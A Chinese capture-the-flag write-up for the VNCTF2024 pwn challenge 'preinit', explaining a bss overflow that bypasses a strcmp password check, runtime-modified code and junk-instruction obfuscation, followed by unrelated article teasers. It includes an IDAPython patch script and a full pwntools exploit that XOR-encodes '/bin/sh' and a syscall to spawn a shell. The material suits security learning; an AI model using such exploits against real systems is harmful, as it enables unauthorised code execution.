[VNCTF2024]-PWN:preinit解析(逆向花指令,绕过strcmp,函数修改,机器码)
查看保护:

查看ida:




这边其实看反汇编没啥大作用,需要自己动调。
但是前面的绕过strcmp还是要看一下的。
解题:

这里是用linux自带的产生随机数的文件urandom来产生一个随机密码,然后让我们输入密码,用strcmp检查password是否与checkpass一样。我们可输入的字节数为0x110。

这里可以看出来我们的输入其实是存到bss段里了,而password距离checkpass也就0x100,所以我们的输入是可以覆盖checkpass的。
但是全题就这一个输入的地方,所以要考虑很多才能写好payload。
输入完之后进入level

这里会把我们的输入存入s中,在check中进行异或操作,再进入level2。
ida没什么好讲的,动调才是重点。

首先,你在level2打断点进如level2了之后就会发现这里跟ida汇编里是不一样的。
ida里面是这样的

完全不一样
这里是因为程序对level2进行了修改,所以我们即使在静态调试看机器码也看不出来,只有动调才能知道level2被修改了。
问题就出在初始化那里

他这里自己自定义了一个初始化数组

对level2是又一定影响的,而且这里还用了花指令,从地址红色可以看出这些地方解析有争议。
事实上,其实我们用不着去了解为啥level2被改,也用不着在ida里把level2给改回来(在ida里修改机器码是影响不了elf文件的,只是为了分析),直接看动调就行了,动调是啥就是啥。
但既然有这个点就说一下。
我们先看动调出来的

对机器码敏感的应该很快就可以看出来,\x57对应push di,而\x56对应push si,后面的也可以对应得上(这里是人为注入机器码形成花指令,有些数据是干扰的),那就是题目引导你去把这里的机器码改进level2中。
然后排除干扰数据修改level2
import idaapi
list=[0x480A7F8D48525657,0x0AAF300000050C1C7,0x0FF085F8D485F5E5A,0x0C3E3]
addr=0x401324
for i in list:idaapi.put_qword(addr,i)addr+=8

说了那么多,感觉都不如直接看动调来得容易,毕竟比赛的时候太难想到了。

在执行jmp rbx之前,无论输入啥,在大多数情况下rdi里面会储存我们输入的字符串的开头,rsi为0,rdx为0,rax为输出的字节数,rip为rdi+8并可以控制,如果此时我们令rdi为/bin/sh,rip为syscall就可以进行系统调用execve。这样就出了。
完整exp:
from pwn import*
context(log_level='debug')
p=process('./preinit')list=b'/bin/sh\x00\x0f\x05' #\x0f\x05是调用syscall
shell=[]
shell+=[i^0x3b for i in list]
'''
for i in list:shell.append(i^0x3b)
'''
shell=bytes(shell)+b'%50c'
payload=shell
payload=payload.ljust(0x100,b'\x00')
payload+=shell
print(payload)
p.sendafter(b'what is your password:',payload)
p.interactive()
补充点1:
在我们调试的时候可能会认为程序卡住了,比如下图

其实这是因为rep stosb的原因,准确的说是rep,他会根据cx寄存器里的值进行重复操作,比如这里是rcx=0x50,他就会进行0x50次操作,重复完之后会接着进行下一步。

补充点2:
像刚刚的操作在ida没法修改elf文件的机器码
补充点3:
在修改level2的时候可能会遇到这种情况

那就鼠标选中要重新分析的范围

按c重新分析

就可以了
相关文章:
[VNCTF2024]-PWN:preinit解析(逆向花指令,绕过strcmp,函数修改,机器码)
查看保护: 查看ida: 这边其实看反汇编没啥大作用,需要自己动调。 但是前面的绕过strcmp还是要看一下的。 解题: 这里是用linux自带的产生随机数的文件urandom来产生一个随机密码,然后让我们输入密码,用st…...
网络通信技术
▶1.分组交换技术 在网络通信中,数据通过网络节点的某种转发方式,实现从一个端系统到另一个端系统之间的数据传输技术称为数据交换技术。数据交换技术有电路交换、报文交换和分组交换,计算机网络采用分组交换技术。 分组就是源主机(如服务器…...
【刷题】位运算
消失的两个数字 消失的两个数字 “单身狗”进阶版思路 class Solution { public:vector<int> missingTwo(vector<int>& nums) {int ret 0;int n nums.size();for(int i 0; i < n; i){ret ^ (nums[i] ^ i);}ret ^ (n ^ (n 1) ^ (n 2));// 按位异或的…...
C++重新入门-string容器
目录 1.包含头文件 2.创建字符串 3.获取字符串长度 4.字符串拼接 5.字符串比较 相等性比较 大小比较 使用比较函数 6.访问字符串 7.查找子串 8.字符串修改 替换子串 插入字符或子串 删除字符或子串 9.提取子串 10.总结 当谈到C中的字符串时,std::str…...
C语言头歌:指针进阶
第1关:输出若干个学生成绩中的最高分.要求用指针函数实现 任务描述 题目描述:读入n(1 < n < 1000)个学生的成绩,成绩都为整数,用指针函数求出若干个学生成绩的最高分。用数组名作为函数参数,指针作为函数返回值。 ####相关…...
【C++】一个求数组中最大元素的函数模板
题目 设计一个分数类 F r a c t i o n Fraction Fraction,再设计一个名为 M a x e l e m e n t Max_element Maxelement 的函数模板,能够求数组中最大的元素,并用该模板求一个 F r a c t i o n Fraction Fraction 数组中的最大元素。 C…...
SpringCloud Alibaba(保姆级入门及操作)
第一章 微服务概念 1.0 科普一些术语 科普一下项目开发过程中常出现的术语,方便后续内容的理解。 **服务器:**分软件与硬件,软件:类型tomcat这种跑项目的程序, 硬件:用来部署项目的电脑(一般性能比个人电脑好) **服务:**操作系统上术语:一个程序,开发中术语:一个…...
SpringBoot集成Activiti案例
前言 Activiti项目是一项新的基于Apache许可的开源BPM平台,从基础开始构建,旨在提供支持新的BPMN 2.0标准,包括支持对象管理组(OMG),面对新技术的机遇,诸如互操作性和云架构,提供技…...
Vulnhub靶机:basic_pentesting_2
一、介绍 运行环境:Virtualbox 攻击机:kali(10.0.2.4) 靶机:basic_pentesting_2(10.0.2.7) 目标:获取靶机root权限和flag 靶机下载地址:https://download.vulnhub.c…...
复试PAT乙级day33
PAT乙级1106~1110 1106_2019数列有一个测试点过不了 1109_擅长C 这题不会,通过的是别人的代码 1110_区块反转 这题跟1105_链表合并 的处理很像。值得注意的是分段区间翻转用 大转小转 的方式。这题也有一个测试点通不过。...
npm ERR! path /Users/apple/.npm/_cacache/index-v5/11/77/cf18d9ab54d565b57fb3
在使用npm时,有时候您可能会遇到类似以下错误的权限问题: npm ERR! path /Users/apple/.npm/_cacache/index-v5/11/77/cf18d9ab54d565b57fb3 npm ERR! code EACCES npm ERR! errno -13 npm ERR! syscall open npm ERR! Error: EACCES: permission denie…...
震惊!python类型的自动化测试框架原来这么简单!
自2018年被评选为编程语言以来,Python在各大排行榜上一直都是名列前茅。目前,它在Tiobe指数中排名第三个,仅次于Java和C。随着该编程语言的广泛使用,基于Python的自动化测试框架也应运而生,且不断发展与丰富。 因此&am…...
人脸高清算法GFPGAN之TensorRT推理
1. 综述 最近由于做数字人项目,采用的是wav2lip GFPGAN进行人脸面部高清,但GFPGAN模型本身比较大,所以想着使用TensorRT来代替原始的pth推理看看能否提升运行速度,于是便开始了这趟windows1之下进行GFPGAN的trt推理的折腾之旅。…...
05 OpenCV图像混合技术
文章目录 理论算子示例 理论 其中 的取值范围为0~1之间 算子 addWeighted CV_EXPORTS_W void addWeighted(InputArray src1, double alpha, InputArray src2, double beta,double gamma, OutputArray dst, int dtype -1 ); 参数1:输入图像Mat …...
2326. 王者之剑(网络流,最小割,最大权独立集,最小点权覆盖)
活动 - AcWing 给出一个 nm 网格,每个格子上有一个价值 vi,j 的宝石。 Amber 可以自己决定起点,开始时刻为第 0 秒。 以下操作,在每秒内按顺序执行。 若第 i 秒开始时,Amber 在 (x,y),则 Amber 可以拿走 (x,y) 上的…...
内网信息搜集
目录 内网基础知识 基本流程图 怎么判断是否在域内 常规信息类收集-应用&服务&权限等 cs信息搜集 bloodhound安装及使用 内网基础知识 工作组:将不同的计算机按照功能分别列入不同的组,想要访问某个部门的资源,只要在【网络】里…...
微型力量,巨大作用:嵌入式技术的创新应用
微型力量,巨大作用:嵌入式技术的创新应用 嵌入式技术是一种将计算机技术嵌入到各种设备和系统中的技术,它的应用范围非常广泛,包括但不限于智能手机、智能家居、医疗设备、工业自动化等领域。这种微型的技术在各个领域中发挥着巨…...
华为 OD 一面算法原题
2.2 亿彩票公布调查结果 昨天,闹得沸沸扬扬的《10 万中 2.2 亿》的彩票事件,迎来了官方公告。 简单来说,调查结果就是:一切正常,合规合法。 关于福利彩票事件,之前的推文我们已经分析过。 甚至在后面出现《…...
FPGA-学会使用vivado中的存储器资源ROM(IP核)
问题: 某芯片,有500个寄存器,需要在上电的时候由FPGA向这些寄存器中写入初始值,初始值已经通过相应的文档给出了具体值,这些值都是已知的。 分析关键点: 数据量比较多(Verilog代码,通过case语句、always语句这种查找表的方式,数…...
自测-1 打印沙漏
文章预览: 题目算法代码 题目 算法 以前做过这个,那次是c语言写的,一点一点处理一层一层完成,这次我换了一种语言用了另一种思想使用递归去写,还是我们要先求出应该有多少层这个很容易,中间输出部分我们算…...
HeidiSQL 12.17发布:新增多数据库功能、深色主题导出及Linux软件包
HeidiSQL 12.17:多数据库功能再升级HeidiSQL 12.17 版本带来了一系列令人瞩目的更新。在数据库支持方面,它支持在用户管理器中创建 MariaDB 角色,这为 MariaDB 用户在角色管理上提供了更多便利,能更灵活地进行权限分配。同时&…...
从645到698:智能电表通信协议升级,开发者需要知道的那些坑
从645到698:智能电表通信协议升级的实战避坑指南 当电网数字化转型的浪潮席卷而来,智能电表作为电网末梢的"神经末梢",其通信协议的升级换代直接影响着数据采集的准确性与实时性。对于经历过DL/T645协议时代的开发者而言࿰…...
解决 Bookmarklet 中 %0A 换行符导致的跨环境执行失败问题
本文详解如何在 JavaScript Bookmarklet 与浏览器控制台中统一处理换行符 %0A,避免因 URL 编码解析差异引发的语法错误或截断异常,并提供健壮、可复用的 encodifyText 实现方案。 本文详解如何在 javascript bookmarklet 与浏览器控制台中统一处理换…...
毕业设计智能化革新:8款AI工具提升论文与代码效率
文章总结表格(工具排名对比) 工具名称 核心优势 aibiye 精准降AIGC率检测,适配知网/维普等平台 aicheck 专注文本AI痕迹识别,优化人类表达风格 askpaper 快速降AI痕迹,保留学术规范 秒篇 高效处理混AIGC内容&…...
端侧多模态部署失败率高达68%?这4类显存溢出模式,90%工程师至今未识别
第一章:端侧多模态部署失败率的现状与归因分析 2026奇点智能技术大会(https://ml-summit.org) 当前端侧多模态模型(如融合视觉、语音与文本理解的轻量化Transformer变体)在真实设备上的部署失败率普遍高于单模态场景,行业抽样数…...
卫星通信是利用地球同步卫星作为中继站转发微波信号,实现地面站之间远距离通信的技术
卫星通信是利用地球同步卫星作为中继站转发微波信号,实现地面站之间远距离通信的技术。其核心特点包括: 覆盖范围广:一颗同步卫星可覆盖地球表面1/3以上区域,3颗卫星即可实现全球通信信道特性:采用频分多路复用技术将信…...
Ubuntu 24.04双ROS环境实战:从Python冲突到无缝切换的完整指南
1. 为什么需要双ROS环境? 在机器人开发领域,ROS1和ROS2的共存需求越来越普遍。很多老牌机器人公司积累了大量的ROS1代码库,而新项目又希望使用ROS2的新特性。我去年接手的一个仓储机器人项目就面临这种情况——导航栈基于ROS1 Noetic…...
漫画下载器终极指南:一站式获取8大平台漫画资源的免费工具
漫画下载器终极指南:一站式获取8大平台漫画资源的免费工具 【免费下载链接】comics-downloader tool to download comics and manga in pdf/epub/cbr/cbz from a website 项目地址: https://gitcode.com/gh_mirrors/co/comics-downloader Comics Downloader是…...
3分钟掌握Tab-Resize:浏览器分屏布局终极指南
3分钟掌握Tab-Resize:浏览器分屏布局终极指南 【免费下载链接】tab-resize Split Screen made easy. Resize the CURRENT tab and tabs to the RIGHT into layouts on separate Windows. w/ Multi-monitor Support 项目地址: https://gitcode.com/gh_mirrors/ta/t…...
Phi-3-mini-128k-instruct轻量级优势:3.8B参数实现13B模型推理质量实测
Phi-3-mini-128k-instruct轻量级优势:3.8B参数实现13B模型推理质量实测 1. 模型概述 Phi-3-Mini-128K-Instruct是一款仅有38亿参数的轻量级开放模型,却能在多项基准测试中达到130亿参数模型的推理质量。该模型采用Phi-3数据集训练,该数据集…...
